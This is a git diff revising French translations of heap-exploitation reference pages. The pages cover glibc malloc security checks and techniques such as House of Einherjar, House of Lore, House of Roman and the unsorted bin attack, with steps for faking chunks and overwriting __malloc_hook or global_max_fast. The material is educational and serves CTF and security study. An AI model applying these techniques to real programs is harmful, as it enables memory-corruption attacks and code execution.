+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -39,7 +39,7 @@ malloc-and-sysmalloc.md
- **Vérifications lors de la recherche dans le small bin :**
- Si `victim->bk->fd != victim` :
- Message d'erreur : `malloc(): smallbin double linked list corrupted`
-- **Vérifications lors de la consolidation** effectuées pour chaque morceau de fast bin :
+- **Vérifications lors de la consolidation** effectuées pour chaque morceau de fast bin :
- Si le morceau est mal aligné, déclenchez :
- Message d'erreur : `malloc_consolidate(): unaligned fastbin chunk detected`
- Si le morceau a une taille différente de celle qu'il devrait avoir à cause de l'index dans lequel il se trouve :
@@ -47,16 +47,16 @@ malloc-and-sysmalloc.md
- Si le morceau précédent n'est pas utilisé et que le morceau précédent a une taille différente de celle indiquée par prev_chunk :
- Message d'erreur : `corrupted size vs. prev_size in fastbins`
- **Vérifications lors de la recherche dans le unsorted bin :**
-- Si la taille du morceau est étrange (trop petite ou trop grande) :
+- Si la taille du morceau est étrange (trop petite ou trop grande) :
- Message d'erreur : `malloc(): invalid size (unsorted)`
- Si la taille du morceau suivant est étrange (trop petite ou trop grande) :
- Message d'erreur : `malloc(): invalid next size (unsorted)`
- Si la taille précédente indiquée par le morceau suivant diffère de la taille du morceau :
- Message d'erreur : `malloc(): mismatching next->prev_size (unsorted)`
-- Si `victim->bck->fd != victim` ou si `victim->fd != av (arena)` :
+- Si `victim->bck->fd != victim` ou `victim->fd != av (arena)` :
- Message d'erreur : `malloc(): unsorted double linked list corrupted`
- Comme nous vérifions toujours le dernier, son fd devrait toujours pointer vers la structure arena.
-- Si le morceau suivant n'indique pas que le précédent est utilisé :
+- Si le morceau suivant n'indique pas que le précédent est en cours d'utilisation :
- Message d'erreur : `malloc(): invalid next->prev_inuse (unsorted)`
- Si `fwd->bk_nextsize->fd_nextsize != fwd` :
- Message d'erreur : `malloc(): largebin double linked list corrupted (nextsize)`
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index 4ae21c1fa..e002046ad 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -7,7 +7,7 @@
(Aucune vérification n'est expliquée dans ce résumé et certains cas ont été omis pour des raisons de concision)
1. `__libc_malloc` essaie d'obtenir un chunk du tcache, sinon il appelle `_int_malloc`
-2. `_int_malloc` :
+2. `_int_malloc` :
1. Essaie de générer l'arène s'il n'y en a pas
2. S'il y a un chunk de fast bin de la bonne taille, l'utilise
1. Remplit le tcache avec d'autres chunks rapides
@@ -102,7 +102,7 @@ return victim;
```
-Notez qu'il marquera toujours le pointeur retourné avec `tag_new_usable`, à partir du code :
+Notez comment il taguera toujours le pointeur retourné avec `tag_new_usable`, à partir du code :
```c
void *tag_new_usable (void *ptr)
@@ -113,7 +113,7 @@ recolored for accessing the memory there.
```
## \_int_malloc
-C'est la fonction qui alloue de la mémoire en utilisant les autres bacs et le top chunk.
+C'est la fonction qui alloue de la mémoire en utilisant les autres bacs et le morceau supérieur.
- Début
@@ -121,7 +121,7 @@ Elle commence par définir quelques variables et obtenir la taille réelle que l
-_int_malloc début
+_int_malloc start
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847
static void *
@@ -167,7 +167,7 @@ return NULL;
```
-### Arène
+### Arena
Dans le cas peu probable où il n'y a pas d'arènes utilisables, il utilise `sysmalloc` pour obtenir un morceau de `mmap` :
@@ -197,7 +197,7 @@ Lors de l'exécution de ces actions, certaines vérifications de sécurité sont
- Si le chunk est mal aligné : `malloc(): unaligned fastbin chunk detected 2`
- Si le chunk suivant est mal aligné : `malloc(): unaligned fastbin chunk detected`
-- Si le chunk retourné a une taille incorrecte en raison de son index dans le fast bin : `malloc(): memory corruption (fast)`
+- Si le chunk retourné a une taille incorrecte à cause de son index dans le fast bin : `malloc(): memory corruption (fast)`
- Si un chunk utilisé pour remplir le tcache est mal aligné : `malloc(): unaligned fastbin chunk detected 3`
@@ -289,9 +289,9 @@ La première vérification consiste à déterminer si la taille demandée pourra
Ensuite, une vérification de sécurité est effectuée en vérifiant :
-- si `victim->bk->fd = victim`. Pour voir que les deux chunks sont correctement liés.
+- si `victim->bk->fd = victim`. Pour voir que les deux chunks sont correctement liés.
-Dans ce cas, le chunk **obtient le bit `inuse`,** la liste doublement chaînée est corrigée afin que ce chunk disparaisse de celle-ci (car il va être utilisé), et le bit non principal de l'arène est défini si nécessaire.
+Dans ce cas, le chunk **obtient le bit `inuse`,** la liste doublement chaînée est corrigée afin que ce chunk disparaisse de celle-ci (car il va être utilisé), et le bit d'arène non principale est défini si nécessaire.
Enfin, **remplissez l'index tcache de la taille demandée** avec d'autres chunks à l'intérieur du petit bin (le cas échéant).
@@ -389,15 +389,15 @@ malloc_consolidate (av);
```
-La fonction malloc consolidate supprime essentiellement des morceaux du fast bin et les place dans le unsorted bin. Après le prochain malloc, ces morceaux seront organisés dans leurs fast bins respectifs.
+La fonction malloc consolidate supprime essentiellement des chunks du fast bin et les place dans le unsorted bin. Après le prochain malloc, ces chunks seront organisés dans leurs petits fast bins respectifs.
-Notez que si, lors de la suppression de ces morceaux, ils sont trouvés avec des morceaux précédents ou suivants qui ne sont pas utilisés, ils seront **déliés et fusionnés** avant de placer le morceau final dans le **unsorted** bin.
+Notez que si, lors de la suppression de ces chunks, ils sont trouvés avec des chunks précédents ou suivants qui ne sont pas utilisés, ils seront **déliés et fusionnés** avant de placer le chunk final dans le **unsorted** bin.
-Pour chaque morceau de fast bin, quelques vérifications de sécurité sont effectuées :
+Pour chaque chunk de fast bin, quelques vérifications de sécurité sont effectuées :
-- Si le morceau est désaligné, déclenche : `malloc_consolidate(): unaligned fastbin chunk detected`
-- Si le morceau a une taille différente de celle qu'il devrait avoir en raison de l'index dans lequel il se trouve : `malloc_consolidate(): invalid chunk size`
-- Si le morceau précédent n'est pas utilisé et que le morceau précédent a une taille différente de celle indiquée par `prev_chunk` : `corrupted size vs. prev_size in fastbins`
+- Si le chunk est désaligné, déclenche : `malloc_consolidate(): unaligned fastbin chunk detected`
+- Si le chunk a une taille différente de celle qu'il devrait avoir en raison de l'index dans lequel il se trouve : `malloc_consolidate(): invalid chunk size`
+- Si le chunk précédent n'est pas utilisé et que le chunk précédent a une taille différente de celle indiquée par `prev_chunk` : `corrupted size vs. prev_size in fastbins`
@@ -504,26 +504,26 @@ av->top = p;
```
-### Bin non trié
+### Unsorted bin
-Il est temps de vérifier le bin non trié pour un potentiel chunk valide à utiliser.
+Il est temps de vérifier le tas non trié pour un morceau valide potentiel à utiliser.
-#### Début
+#### Start
-Cela commence par une grande boucle for qui va parcourir le bin non trié dans la direction `bk` jusqu'à ce qu'elle arrive à la fin (la structure arena) avec `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
+Cela commence par une grande boucle for qui va parcourir le tas non trié dans la direction `bk` jusqu'à ce qu'elle arrive à la fin (la structure arena) avec `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
-De plus, certaines vérifications de sécurité sont effectuées chaque fois qu'un nouveau chunk est considéré :
+De plus, certaines vérifications de sécurité sont effectuées chaque fois qu'un nouveau morceau est considéré :
-- Si la taille du chunk est étrange (trop petite ou trop grande) : `malloc(): invalid size (unsorted)`
-- Si la taille du chunk suivant est étrange (trop petite ou trop grande) : `malloc(): invalid next size (unsorted)`
-- Si la taille précédente indiquée par le chunk suivant diffère de la taille du chunk : `malloc(): mismatching next->prev_size (unsorted)`
+- Si la taille du morceau est étrange (trop petite ou trop grande) : `malloc(): invalid size (unsorted)`
+- Si la taille du morceau suivant est étrange (trop petite ou trop grande) : `malloc(): invalid next size (unsorted)`
+- Si la taille précédente indiquée par le morceau suivant diffère de la taille du morceau : `malloc(): mismatching next->prev_size (unsorted)`
- Si `victim->bck->fd != victim` ou `victim->fd != av` (arène) : `malloc(): unsorted double linked list corrupted`
- Comme nous vérifions toujours le dernier, son `fd` devrait toujours pointer vers la structure arena.
-- Si le chunk suivant n'indique pas que le précédent est en cours d'utilisation : `malloc(): invalid next->prev_inuse (unsorted)`
+- Si le morceau suivant n'indique pas que le précédent est en cours d'utilisation : `malloc(): invalid next->prev_inuse (unsorted)`
-_int_malloc début du bin non trié
+_int_malloc unsorted bin start
```c
/*
Process recently freed or remaindered chunks, taking one only if
@@ -580,7 +580,7 @@ Si le morceau est plus grand que la taille demandée, utilisez-le et placez le r
-_int_malloc liste non triée in_smallbin_range
+_int_malloc bin non trié in_smallbin_range
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14
@@ -627,10 +627,10 @@ Si cela a réussi, renvoyez le morceau et c'est fini, sinon, continuez à exécu
#### si taille égale
-Continuez à retirer le morceau du bin, au cas où la taille demandée serait exactement celle du morceau :
+Continuez à retirer le morceau du bin, dans le cas où la taille demandée est exactement celle du morceau :
- Si le tcache n'est pas rempli, ajoutez-le au tcache et continuez en indiquant qu'il y a un morceau de tcache qui pourrait être utilisé
-- Si le tcache est plein, utilisez-le simplement en le retournant
+- Si le tcache est plein, utilisez-le simplement en le renvoyant
@@ -889,9 +889,9 @@ return p;
Si un morceau n'est pas jugé approprié pour cela, continuez
-### Grand Bin (suivant le plus grand)
+### Grand Bin (plus grand suivant)
-Si dans le grand bin exact, il n'y avait aucun morceau qui pouvait être utilisé, commencez à parcourir tous les grands bins suivants (en commençant par le plus grand immédiatement) jusqu'à ce qu'un soit trouvé (s'il y en a).
+Si dans le grand bin exact il n'y avait aucun morceau qui pouvait être utilisé, commencez à parcourir tous les grands bins suivants (en commençant par le plus grand immédiatement) jusqu'à ce qu'un soit trouvé (s'il y en a).
Le reste du morceau divisé est ajouté dans le bin non trié, last_reminder est mis à jour et la même vérification de sécurité est effectuée :
@@ -899,7 +899,7 @@ Le reste du morceau divisé est ajouté dans le bin non trié, last_reminder est
-_int_malloc Grand bin (suivant le plus grand)
+_int_malloc Grand bin (plus grand suivant)
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10
@@ -1017,7 +1017,7 @@ return p;
À ce stade, il est temps d'obtenir un nouveau chunk à partir du Top chunk (s'il est suffisamment grand).
-Il commence par une vérification de sécurité pour s'assurer que la taille du chunk n'est pas trop grande (corrompue) :
+Il commence par un contrôle de sécurité pour s'assurer que la taille du chunk n'est pas trop grande (corrompue) :
- `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size`
@@ -1096,13 +1096,13 @@ return p;
## sysmalloc
-### sysmalloc démarrer
+### sysmalloc start
Si l'arène est nulle ou si la taille demandée est trop grande (et qu'il reste des mmaps autorisés), utilisez `sysmalloc_mmap` pour allouer de l'espace et le retourner.
-sysmalloc démarrer
+sysmalloc start
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531
@@ -1212,8 +1212,8 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
### sysmalloc pas l'arène principale
-Il essaiera d'abord de **étendre** le tas précédent pour ce tas. Si ce n'est pas possible, essayez de **allouer un nouveau tas** et de mettre à jour les pointeurs pour pouvoir l'utiliser.\
-Enfin, si cela n'a pas fonctionné, essayez d'appeler **`sysmalloc_mmap`**.
+Il essaiera d'abord de **prolonger** le tas précédent pour ce tas. Si ce n'est pas possible, il essaiera de **allouer un nouveau tas** et de mettre à jour les pointeurs pour pouvoir l'utiliser.\
+Enfin, si cela n'a pas fonctionné, essayez d'appeler **`sysmalloc_mmap`**.
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index e5ef7d9a3..4483bf44d 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -26,7 +26,7 @@
- Un faux chunk `A` est créé à l'intérieur d'un chunk contrôlé par l'attaquant pointant avec `fd` et `bk` vers le chunk original pour contourner les protections
- 2 autres chunks (`B` et `C`) sont alloués
-- En abusant du débordement d'un octet dans le chunk `B`, le bit `prev in use` est nettoyé et les données `prev_size` sont écrasées avec la différence entre l'endroit où le chunk `C` est alloué et le faux chunk `A` généré précédemment
+- En abusant du débordement d'un octet dans le chunk `B`, le bit `prev in use` est nettoyé et les données `prev_size` sont écrasées avec la différence entre l'endroit où le chunk `C` est alloué et le faux chunk `A` généré auparavant
- Ce `prev_size` et la taille dans le faux chunk `A` doivent être les mêmes pour contourner les vérifications.
- Ensuite, le tcache est rempli
- Ensuite, `C` est libéré afin qu'il se consolide avec le faux chunk `A`
@@ -34,8 +34,8 @@
- La maison d'Einherjar se termine ici
- Cela peut être poursuivi avec une attaque de fast bin ou un empoisonnement de Tcache :
- Libérer `B` pour l'ajouter au fast bin / Tcache
-- Le `fd` de `B` est écrasé, le faisant pointer vers l'adresse cible en abusant du chunk `D` (car il contient `B` à l'intérieur)
-- Ensuite, 2 mallocs sont effectués et le deuxième va **allouer l'adresse cible**
+- Le `fd` de `B` est écrasé, le faisant pointer vers l'adresse cible en abusant du chunk `D` (car il contient `B` à l'intérieur)
+- Ensuite, 2 mallocs sont effectués et le second va **allouer l'adresse cible**
## Références et autres exemples
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index 2849874a0..23c6f6b02 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -10,7 +10,7 @@
- Cela ne fonctionne pas
- Ou : [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- Cela ne fonctionne pas même s'il essaie de contourner certaines vérifications en obtenant l'erreur : `malloc(): unaligned tcache chunk detected`
-- Cet exemple fonctionne encore : [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- Cet exemple fonctionne encore : [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
### Objectif
@@ -25,17 +25,17 @@ Notez que le petit morceau ajouté est le faux que l'attaquant crée et non un f
- `fake0.fd` -> `legit` (vous devez modifier un pointeur dans le morceau de petit bin libéré via une autre vulnérabilité)
- `legit.bk` -> `fake0`
-Ensuite, vous pourrez allouer `fake0`.
+Vous pourrez alors allouer `fake0`.
### Attaque
-- Un petit morceau (`legit`) est alloué, puis un autre est alloué pour éviter de se consolider avec le morceau supérieur. Ensuite, `legit` est libéré (le déplaçant vers la liste des bins non triés) et un morceau plus grand est alloué, **déplaçant `legit` vers le petit bin.**
+- Un petit morceau (`legit`) est alloué, puis un autre est alloué pour éviter la consolidation avec le morceau supérieur. Ensuite, `legit` est libéré (le déplaçant vers la liste des bins non triés) et un morceau plus grand est alloué, **déplaçant `legit` vers le petit bin.**
- Un attaquant génère quelques faux petits morceaux et effectue les liaisons nécessaires pour contourner les vérifications de validité :
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (vous devez modifier un pointeur dans le morceau de petit bin libéré via une autre vulnérabilité)
- `legit.bk` -> `fake0`
-- Un petit morceau est alloué pour obtenir legit, rendant **`fake0`** en haut de la liste des petits bins
+- Un petit morceau est alloué pour obtenir legit, rendant **`fake0`** le premier de la liste des petits bins
- Un autre petit morceau est alloué, obtenant `fake0` comme morceau, permettant potentiellement de lire/écrire des pointeurs à l'intérieur.
## Références
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index 512e41fc2..950980829 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -49,19 +49,19 @@ fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
-- `fastbin_victim` a un `fd` pointant vers `relative_offset_heap`
-- `relative_offset_heap` est un offset de distance par rapport à `fake_libc_chunk`, qui contient un pointeur vers `main_arena + 0x68`
-- Il suffit de changer le dernier octet de `fastbin_victim.fd` pour que `fastbin_victim points` vers `main_arena + 0x68`
+- `fastbin_victim` a un `fd` pointant vers `relative_offset_heap`
+- `relative_offset_heap` est un offset de distance par rapport à `fake_libc_chunk`, qui contient un pointeur vers `main_arena + 0x68`
+- En changeant simplement le dernier octet de `fastbin_victim.fd`, il est possible de faire pointer `fastbin_victim` vers `main_arena + 0x68`
Pour les actions précédentes, l'attaquant doit être capable de modifier le pointeur fd de `fastbin_victim`.
Ensuite, `main_arena + 0x68` n'est pas si intéressant, alors modifions-le pour que le pointeur pointe vers **`__malloc_hook`**.
-Notez que `__memalign_hook` commence généralement par `0x7f` et des zéros avant, il est donc possible de le falsifier comme une valeur dans le fast bin `0x70`. Comme les 4 derniers bits de l'adresse sont **aléatoires**, il y a `2^4=16` possibilités pour que la valeur pointe là où nous sommes intéressés. Ainsi, une attaque BF est effectuée ici pour que le chunk se termine comme : **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
+Notez que `__memalign_hook` commence généralement par `0x7f` et des zéros avant, il est donc possible de le falsifier comme une valeur dans le fast bin `0x70`. Comme les 4 derniers bits de l'adresse sont **aléatoires**, il y a `2^4=16` possibilités pour que la valeur finisse par pointer là où nous sommes intéressés. Ainsi, une attaque BF est effectuée ici pour que le chunk se termine comme : **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(Pour plus d'infos sur le reste des octets, consultez l'explication dans le [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemple](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Si le BF ne fonctionne pas, le programme plante simplement (donc recommencez jusqu'à ce que ça fonctionne).
-Ensuite, 2 mallocs sont effectués pour supprimer les 2 chunks fast bin initiaux et un troisième est alloué pour obtenir un chunk dans le **`__malloc_hook:`**
+Ensuite, 2 mallocs sont effectués pour supprimer les 2 premiers chunks de fast bin et un troisième est alloué pour obtenir un chunk dans le **`__malloc_hook:`**
```c
malloc(0x60);
malloc(0x60);
@@ -75,7 +75,7 @@ Pour plus d'infos, vous pouvez consulter :
unsorted-bin-attack.md
{{#endref}}
-Mais fondamentalement, cela permet d'écrire `main_arena + 0x68` à n'importe quel emplacement spécifié dans `chunk->bk`. Et pour l'attaque, nous choisissons `__malloc_hook`. Ensuite, après l'avoir écrasé, nous utiliserons un écrasement relatif pour pointer vers un `one_gadget`.
+Mais en gros, cela permet d'écrire `main_arena + 0x68` à n'importe quel emplacement spécifié dans `chunk->bk`. Et pour l'attaque, nous choisissons `__malloc_hook`. Ensuite, après l'avoir écrasé, nous utiliserons un écrasement relatif pour pointer vers un `one_gadget`.
Pour cela, nous commençons par obtenir un chunk et le mettre dans le **unsorted bin** :
```c
@@ -86,14 +86,14 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
-Utilisez un UAF dans ce morceau pour pointer `unsorted_bin_ptr->bk` vers l'adresse de `__malloc_hook` (nous l'avons bruteforcé précédemment).
+Utilisez un UAF dans ce morceau pour pointer `unsorted_bin_ptr->bk` à l'adresse de `__malloc_hook` (nous l'avons bruteforcé précédemment).
> [!CAUTION]
-> Notez que cette attaque corrompt le tas non trié (donc petit et grand aussi). Nous ne pouvons donc **utiliser que des allocations du tas rapide maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille sinon le programme plantera.**
+> Notez que cette attaque corrompt le tas non trié (donc les petits et grands aussi). Nous ne pouvons donc **utiliser que des allocations du tas rapide maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille sinon le programme plantera.**
Donc, pour déclencher l'écriture de `main_arena + 0x68` dans `__malloc_hook`, nous effectuons après avoir défini `__malloc_hook` dans `unsorted_bin_ptr->bk`, nous devons juste faire : **`malloc(0x80)`**
-### Étape 3 : Définir \_\_malloc_hook sur system
+### Étape 3 : Définir \_\_malloc_hook à system
Dans la première étape, nous avons fini par contrôler un morceau contenant `__malloc_hook` (dans la variable `malloc_hook_chunk`) et dans la deuxième étape, nous avons réussi à écrire `main_arena + 0x68` ici.
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index aafa89ece..5481cf3d5 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -1,73 +1,73 @@
-# Attaque de la Bin Non Triée
+# Unsorted Bin Attack
{{#include ../../banners/hacktricks-training.md}}
-## Informations de Base
+## Basic Information
-Pour plus d'informations sur ce qu'est une bin non triée, consultez cette page :
+Pour plus d'informations sur ce qu'est un unsorted bin, consultez cette page :
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-Les listes non triées peuvent écrire l'adresse de `unsorted_chunks (av)` dans l'adresse `bk` du chunk. Par conséquent, si un attaquant peut **modifier l'adresse du pointeur `bk`** dans un chunk à l'intérieur de la bin non triée, il pourrait être capable de **écrire cette adresse à une adresse arbitraire** ce qui pourrait être utile pour divulguer des adresses Glibc ou contourner certaines défenses.
+Les listes non triées peuvent écrire l'adresse dans `unsorted_chunks (av)` à l'adresse `bk` du chunk. Par conséquent, si un attaquant peut **modifier l'adresse du pointeur `bk`** dans un chunk à l'intérieur de l'unsorted bin, il pourrait être capable de **écrire cette adresse à une adresse arbitraire** ce qui pourrait être utile pour divulguer des adresses Glibc ou contourner certaines protections.
-Donc, fondamentalement, cette attaque permet de **définir un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui pourrait être une adresse de tas ou une adresse Glibc. Une cible typique est **`global_max_fast`** pour permettre de créer des bins de fast bin avec des tailles plus grandes (et passer d'une attaque de bin non triée à une attaque de fast bin).
+Donc, en gros, cette attaque permet de **définir un grand nombre à une adresse arbitraire**. Ce grand nombre est une adresse, qui pourrait être une adresse de heap ou une adresse Glibc. Une cible typique est **`global_max_fast`** pour permettre de créer des bins de fast bin avec des tailles plus grandes (et passer d'une attaque d'unsorted bin à une attaque de fast bin).
> [!TIP]
-> J>etez un œil à l'exemple fourni dans [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) et en utilisant 0x4000 et 0x5000 au lieu de 0x400 et 0x500 comme tailles de chunk (pour éviter Tcache), il est possible de voir que **de nos jours** l'erreur **`malloc(): unsorted double linked list corrupted`** est déclenchée.
+> J> etant un coup d'œil à l'exemple fourni dans [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) et en utilisant 0x4000 et 0x5000 au lieu de 0x400 et 0x500 comme tailles de chunk (pour éviter Tcache), il est possible de voir que **de nos jours** l'erreur **`malloc(): unsorted double linked list corrupted`** est déclenchée.
>
-> Par conséquent, cette attaque de bin non triée nécessite maintenant (entre autres vérifications) également d'être capable de corriger la liste doublement chaînée afin que cela soit contourné `victim->bk->fd == victim` ou non `victim->fd == av (arena)`, ce qui signifie que l'adresse où nous voulons écrire doit avoir l'adresse du faux chunk dans sa position `fd` et que le faux chunk `fd` pointe vers l'arène.
+> Par conséquent, cette attaque d'unsorted bin nécessite maintenant (parmi d'autres vérifications) également d'être capable de corriger la liste doublement chaînée afin que cela soit contourné `victim->bk->fd == victim` ou non `victim->fd == av (arena)`, ce qui signifie que l'adresse où nous voulons écrire doit avoir l'adresse du faux chunk dans sa position `fd` et que le faux chunk `fd` pointe vers l'arène.
> [!CAUTION]
-> Notez que cette attaque corrompt la bin non triée (d'où les petites et grandes aussi). Donc, nous ne pouvons utiliser que **des allocations à partir de la fast bin maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille ou le programme plantera.**
+> Notez que cette attaque corrompt l'unsorted bin (donc les petits et grands aussi). Nous ne pouvons donc **utiliser que des allocations à partir du fast bin maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille ou le programme plantera.**
>
-> Notez que la réécriture de **`global_max_fast`** pourrait aider dans ce cas en faisant confiance au fait que la fast bin sera capable de s'occuper de toutes les autres allocations jusqu'à ce que l'exploitation soit terminée.
+> Notez que l'écrasement de **`global_max_fast`** pourrait aider dans ce cas en faisant confiance au fast bin pour s'occuper de toutes les autres allocations jusqu'à ce que l'exploitation soit terminée.
Le code de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) l'explique très bien, bien que si vous modifiez les mallocs pour allouer une mémoire suffisamment grande pour ne pas se retrouver dans un Tcache, vous pouvez voir que l'erreur mentionnée précédemment apparaît empêchant cette technique : **`malloc(): unsorted double linked list corrupted`**
-## Attaque de Divulgation d'Informations de Bin Non Triée
+## Unsorted Bin Infoleak Attack
-C'est en fait un concept très basique. Les chunks dans la bin non triée vont avoir des pointeurs. Le premier chunk dans la bin non triée aura en fait les liens **`fd`** et **`bk`** **pointant vers une partie de l'arène principale (Glibc)**.\
-Par conséquent, si vous pouvez **mettre un chunk à l'intérieur d'une bin non triée et le lire** (utiliser après libération) ou **le réallouer sans écraser au moins 1 des pointeurs** pour ensuite **le lire**, vous pouvez avoir une **divulgation d'informations Glibc**.
+C'est en fait un concept très basique. Les chunks dans l'unsorted bin vont avoir des pointeurs. Le premier chunk dans l'unsorted bin aura en fait les liens **`fd`** et **`bk`** **pointant vers une partie de l'arène principale (Glibc)**.\
+Par conséquent, si vous pouvez **mettre un chunk à l'intérieur d'un unsorted bin et le lire** (use after free) ou **le réallouer sans écraser au moins 1 des pointeurs** pour ensuite **le lire**, vous pouvez avoir une **divulgation d'informations Glibc**.
Une [**attaque similaire utilisée dans ce rapport**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) a été d'abuser d'une structure de 4 chunks (A, B, C et D - D est seulement pour empêcher la consolidation avec le chunk supérieur) donc un débordement de byte nul dans B a été utilisé pour faire indiquer à C que B était inutilisé. De plus, dans B, les données `prev_size` ont été modifiées pour que la taille au lieu d'être la taille de B soit A+B.\
Ensuite, C a été désalloué et consolidé avec A+B (mais B était toujours utilisé). Un nouveau chunk de taille A a été alloué et ensuite les adresses de libc divulguées ont été écrites dans B d'où elles ont été divulguées.
-## Références & Autres exemples
+## References & Other examples
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
-- L'objectif est de réécrire une variable globale avec une valeur supérieure à 4869 afin qu'il soit possible d'obtenir le drapeau et que PIE ne soit pas activé.
-- Il est possible de générer des chunks de tailles arbitraires et il y a un débordement de tas avec la taille désirée.
+- L'objectif est d'écraser une variable globale avec une valeur supérieure à 4869 afin qu'il soit possible d'obtenir le flag et que PIE ne soit pas activé.
+- Il est possible de générer des chunks de tailles arbitraires et il y a un débordement de heap avec la taille désirée.
- L'attaque commence par créer 3 chunks : chunk0 pour abuser du débordement, chunk1 pour être débordé et chunk2 pour que le chunk supérieur ne consolide pas les précédents.
- Ensuite, chunk1 est libéré et chunk0 est débordé pour que le pointeur `bk` de chunk1 pointe vers : `bk = magic - 0x10`
-- Ensuite, chunk3 est alloué avec la même taille que chunk1, ce qui déclenchera l'attaque de bin non triée et modifiera la valeur de la variable globale, rendant possible d'obtenir le drapeau.
+- Ensuite, chunk3 est alloué avec la même taille que chunk1, ce qui déclenchera l'attaque d'unsorted bin et modifiera la valeur de la variable globale, rendant possible d'obtenir le flag.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- La fonction de fusion est vulnérable car si les deux index passés sont le même, elle le réallouera et ensuite le libérera mais renverra un pointeur vers cette région libérée qui peut être utilisée.
-- Par conséquent, **2 chunks sont créés** : **chunk0** qui sera fusionné avec lui-même et chunk1 pour empêcher la consolidation avec le chunk supérieur. Ensuite, la **fonction de fusion est appelée avec chunk0** deux fois, ce qui provoquera une utilisation après libération.
-- Ensuite, la **fonction `view`** est appelée avec l'index 2 (qui est l'index du chunk utilisé après libération), ce qui **divulguera une adresse libc**.
-- Comme le binaire a des protections pour n'allouer que des tailles supérieures à **`global_max_fast`**, aucune fastbin n'est utilisée, une attaque de bin non triée sera utilisée pour réécrire la variable globale `global_max_fast`.
-- Ensuite, il est possible d'appeler la fonction d'édition avec l'index 2 (le pointeur utilisé après libération) et de réécrire le pointeur `bk` pour pointer vers `p64(global_max_fast-0x10)`. Ensuite, la création d'un nouveau chunk utilisera l'adresse libre compromise précédemment (0x20) qui **déclenchera l'attaque de bin non triée** en réécrivant le `global_max_fast` avec une valeur très grande, permettant maintenant de créer des chunks dans les fast bins.
